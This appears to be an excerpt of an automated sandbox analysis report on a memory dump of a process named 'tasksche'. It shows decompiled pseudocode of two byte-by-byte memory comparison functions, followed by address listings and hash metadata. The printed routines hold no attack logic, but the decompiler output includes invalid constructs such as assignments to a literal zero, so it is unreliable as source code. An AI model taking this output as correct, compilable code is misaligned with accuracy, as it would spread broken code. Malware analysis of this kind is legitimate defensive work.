				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
